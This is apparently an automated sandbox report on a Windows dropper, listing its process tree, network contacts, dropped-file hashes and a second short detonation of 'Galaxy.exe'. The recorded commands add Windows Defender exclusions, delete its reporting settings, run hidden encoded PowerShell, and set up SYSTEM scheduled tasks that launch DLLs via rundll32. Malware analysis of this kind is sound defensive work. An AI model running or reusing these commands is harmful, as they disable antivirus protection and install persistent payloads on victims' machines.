"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LsajhStaXkJRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LsajhStaXkJRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QpigBxJgKxUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QpigBxJgKxUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YNUWFfCEdUiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YNUWFfCEdUiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oWxSecJNU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oWxSecJNU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\eiYaNjTCbhfbMeVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\eiYaNjTCbhfbMeVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\biwNYXhGTKCQxjLv\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\biwNYXhGTKCQxjLv\" /t REG_DWORD /d 0 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LsajhStaXkJRC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QpigBxJgKxUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YNUWFfCEdUiU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oWxSecJNU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\eiYaNjTCbhfbMeVB /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\eiYaNjTCbhfbMeVB /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\biwNYXhGTKCQxjLv /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\biwNYXhGTKCQxjLv /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gPfuCDann" /SC once /ST 08:32:33 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gPfuCDann"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gPfuCDann"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "FTlmQXMDCFpnewAuq" /SC once /ST 12:50:18 /RU "SYSTEM" /TR "\"C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe\" VS /site_id 525403 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "FTlmQXMDCFpnewAuq"

C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe

C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe VS /site_id 525403 /S

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "bJbhxhmwQPPePEjnjA"

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\oWxSecJNU\datKaV.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "zeLHdclAQOoTZxj" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "zeLHdclAQOoTZxj2" /F /xml "C:\Program Files (x86)\oWxSecJNU\AAKrpmb.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /END /TN "zeLHdclAQOoTZxj"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "zeLHdclAQOoTZxj"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "KJMKKiIztyaoEB" /F /xml "C:\Program Files (x86)\YNUWFfCEdUiU2\qCxQWGX.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "xicirzYkCmkIU2" /F /xml "C:\ProgramData\eiYaNjTCbhfbMeVB\SRRDJsG.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "LUmQQZwnOYWgZobiD2" /F /xml "C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\QVPRfah.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "IkWUsEdSKunoejOLGpU2" /F /xml "C:\Program Files (x86)\LsajhStaXkJRC\JxETFqR.xml" /RU "SYSTEM"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "dBpreMcpfXbehynYz" /SC once /ST 04:26:16 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\biwNYXhGTKCQxjLv\BhnRZfcu\ExVCLZX.dll\",#1 /site_id 525403" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "dBpreMcpfXbehynYz"

C:\Windows\system32\rundll32.EXE

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\biwNYXhGTKCQxjLv\BhnRZfcu\ExVCLZX.dll",#1 /site_id 525403

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\biwNYXhGTKCQxjLv\BhnRZfcu\ExVCLZX.dll",#1 /site_id 525403

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64

C:\Windows\SysWOW64\reg.exe

REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "FTlmQXMDCFpnewAuq"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "dBpreMcpfXbehynYz"

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 service-domain.xyz udp
US 54.210.117.250:443 service-domain.xyz tcp
US 8.8.8.8:53 r10.o.lencr.org udp
GB 2.23.210.82:80 r10.o.lencr.org tcp
US 8.8.8.8:53 32.169.19.2.in-addr.arpa udp
US 8.8.8.8:53 250.117.210.54.in-addr.arpa udp
US 8.8.8.8:53 82.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 addons.mozilla.org udp
US 151.101.129.91:80 addons.mozilla.org tcp
US 151.101.129.91:443 addons.mozilla.org tcp
US 8.8.8.8:53 91.129.101.151.in-addr.arpa udp
US 151.101.129.91:80 addons.mozilla.org tcp
US 8.8.8.8:53 234.212.58.216.in-addr.arpa udp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.187.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.187.227:80 o.pki.goog tcp
US 8.8.8.8:53 clients2.google.com udp
GB 142.250.178.14:443 clients2.google.com tcp
US 8.8.8.8:53 227.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 14.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 api4.check-data.xyz udp
US 44.226.34.177:80 api4.check-data.xyz tcp
US 8.8.8.8:53 177.34.226.44.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\7zS789B.tmp\Install.exe

MD5 3b76af9e2510171d3739b8bc9ee2ee68
SHA1 4c8148a587ba7e6de8963c2d4dbbcceac39b3694
SHA256 3c888be794010977e28034fd484ed7363ff6c52dfe6c8449acbe6cce4e637768
SHA512 d9736ae8439c7d809cdd299423f8ac04f6301c4eb3c1997fa217b4e8cd77174f795d1632b23f6e8a93eb6c96b998a8258f2366b3d701a7a2b944cab83a3a8d94

C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe

MD5 ad10a30760d467dade24f430b558b465
SHA1 7aaa56e80264c27d080c3b77055294593eacca1b
SHA256 44c717fd08281b16f266bd9bc037fc16713a8ac02e1dfe519ba3be49bac8442a
SHA512 23c13f8c865da24d848b2843b67190188048e7383dcb2dff10f8e8e94862a8ae1916aef3566cd2ce4346c816f7e8301912a9fff4a04bb5380b75b98bd7154e63

memory/3012-12-0x0000000010000000-0x0000000010F04000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ylfft0bm.ssd.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3696-25-0x0000019A52DC0000-0x0000019A52DE2000-memory.dmp

memory/2532-33-0x0000000010000000-0x0000000010F04000-memory.dmp

memory/1128-35-0x0000000001AA0000-0x0000000001AD6000-memory.dmp

memory/1128-36-0x00000000044F0000-0x0000000004B18000-memory.dmp

memory/1128-37-0x0000000004400000-0x0000000004422000-memory.dmp

memory/1128-38-0x0000000004CD0000-0x0000000004D36000-memory.dmp

memory/1128-39-0x0000000004D40000-0x0000000004DA6000-memory.dmp

memory/1128-49-0x0000000004DB0000-0x0000000005104000-memory.dmp

memory/1128-50-0x00000000053B0000-0x00000000053CE000-memory.dmp

memory/1128-51-0x0000000005440000-0x000000000548C000-memory.dmp

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 33b19d75aa77114216dbc23f43b195e3
SHA1 36a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
SHA512 676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 aacf5d932667920808f9a8e6be23f8f2
SHA1 5b66b3241320166034a9095b599882f3c0a1d940
SHA256 f286352551bc7aad663eaa651f99424f05b44d88b59d00aa2dd4b387682bb9c2
SHA512 adbb2787e3cb8cdf5cbd9c47a6f433b5bc875a99f086e0df62701acc1f7dbde9f141cf74febc75d9df90ca2dea3401f3ae6e029b87174d157591d0dd7ca45264

C:\Windows\system32\GroupPolicy\gpt.ini

MD5 a62ce44a33f1c05fc2d340ea0ca118a4
SHA1 1f03eb4716015528f3de7f7674532c1345b2717d
SHA256 9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA512 9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

memory/3980-96-0x0000000004530000-0x00000000045B5000-memory.dmp

C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

MD5 30fc899b9790e1ae4204122bee33b0a5
SHA1 17588e8bfe1649ca697f457f161b756b4df383d9
SHA256 2f2a70b2d07a255e114b277a019c7882cc012706287a45f45c741ded328b15df
SHA512 3d8967215ad2db0c57e8842a551d047c146182dcf4884acf14e289ea10984413fd8f100fa0fb951e25383acef37ada5b7801dec34057e981fcb9eef71b723a5a

memory/3980-144-0x0000000004930000-0x000000000499B000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

C:\Windows\system32\GroupPolicy\Machine\Registry.pol

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Program Files (x86)\oWxSecJNU\AAKrpmb.xml

MD5 54be8e68f98a54bb93e7ab4eafadb1ed
SHA1 94b41a5690553f6eeae7d5b3af458e7015869800
SHA256 14bca31073320d287e37b4d19b6a6fcfbcea174c75f99dc077c1df6fc57058f0
SHA512 ea5d1e70b5c874b472b55abaf8c13abbf9a57e0b2d819310af0245d643fcdfac3fb95e6526af9141750dd986c4de72164722e32e5cec4364e292555a96f27dc7

C:\Program Files (x86)\YNUWFfCEdUiU2\qCxQWGX.xml

MD5 a76f961f720e0cb73b4e21053009cbd8
SHA1 894345e744bc6a939b02d900d0d8820c94125182
SHA256 a7a1d7f56258b5919e17b070e17f6e55a591fa033571bf3ee092c6836bbd7058
SHA512 d7caa83f337c3d7541d0b793f3764694e0605c2f808007528bd01b789b37e3786b5cd391ca29f4a98fded38ba6c6ad54172e20a469025014a346b5bb077a371c

C:\ProgramData\eiYaNjTCbhfbMeVB\SRRDJsG.xml

MD5 f5684b7b00ac3d0417504630ddba63f1
SHA1 a88da71ff8febba8022bd61a9108fc7191780d1e
SHA256 d3f100570bc2905f3499e8a58eb3f5f9e07c82f34e67f1aec5628a9f8c6627a4
SHA512 4506098ccae6d9991fb80e37c9736a878f1b8bf042eb5a32b8ce8c3a75a4c9ad90ac83f95cf7edaeb6c10b8d8729cffffe83ca5642a7aa682900e58e4e40edd8

C:\Program Files (x86)\ZRxaODbjXejAAfVsBUR\QVPRfah.xml

MD5 f1aa7ad09e28fbc6ff449792adf3b59e
SHA1 78c043dbd3905d3d7dd7a0543126a2d050a1790f
SHA256 1521011e790bacec60ecccfd7f5d739dfd6a27bf2a3739790d4e947735c7e0a3
SHA512 79f2703880692eebc3f05a91cb5c1cfcdeb21f5295299984cb736a579afac85bbe634c903359bfdf1d9e17176434b4bbb983f4467f93780a760bf835b42854f0

C:\Program Files (x86)\LsajhStaXkJRC\JxETFqR.xml

MD5 59b67ff6d8ba7e2d28ad6722723d450c
SHA1 23958457611b07b1be6da3b2f9121d20230d519d
SHA256 51230f4c16fc57c014bb811e606e38c16c84f629b5c7edc9d997354ac51cacf0
SHA512 3c1b97cf63c8c1d6f0321631eaf57e5fa9271c14cbd5a56ca4125d7651c6369c6b62bc1c40776031e5f67a4a7dd76ea7caeeb09b07bf01048a7a7937527aaa05

C:\Windows\Temp\biwNYXhGTKCQxjLv\BhnRZfcu\ExVCLZX.dll

MD5 617698f01c7cceb3b262a98ba4da5a98
SHA1 c9244abc65ab3c485cc197ddea5e846b65d14bad
SHA256 9c0b90664119447fee609a6a27f5d97affa2ae310bd9d1aa37e458c9819f1754
SHA512 3b713c0ff53a7f88f628a90b30d59417bf5b92216666e4bd2f4c1cd502f338a1838c9691d5ee2830015b5f697ca811ee8e976d026c0d073b1487fb573b50a400

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\qgf82dd5.default-release\prefs.js

MD5 5a776aba5871e5ed696a930381e34b1e
SHA1 8a282e1c05ee8fd182eac133fd27bd23c32ebd87
SHA256 dfaa806c5f05efbc555d2c0910eb2841d2376e92ef3616d582995738e48d228b
SHA512 1b914ad594118046f0becdb371f7e2bea7e98f3f7f70f6a2f6141c7807311ceddce9e2f8094faa9aaff73f25dc363067ad0a436a74d41244bfaaa8c370fc09b1

memory/3980-313-0x0000000004C00000-0x0000000004C73000-memory.dmp

memory/3980-324-0x0000000005620000-0x00000000056DD000-memory.dmp

memory/1416-345-0x0000000001F60000-0x0000000002E64000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\Galaxy.exe"

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\PL\Galaxy.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PL\Galaxy.exe

"C:\Users\Admin\AppData\Local\Temp\PL\Galaxy.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE

Network

Country Destination Domain Proto
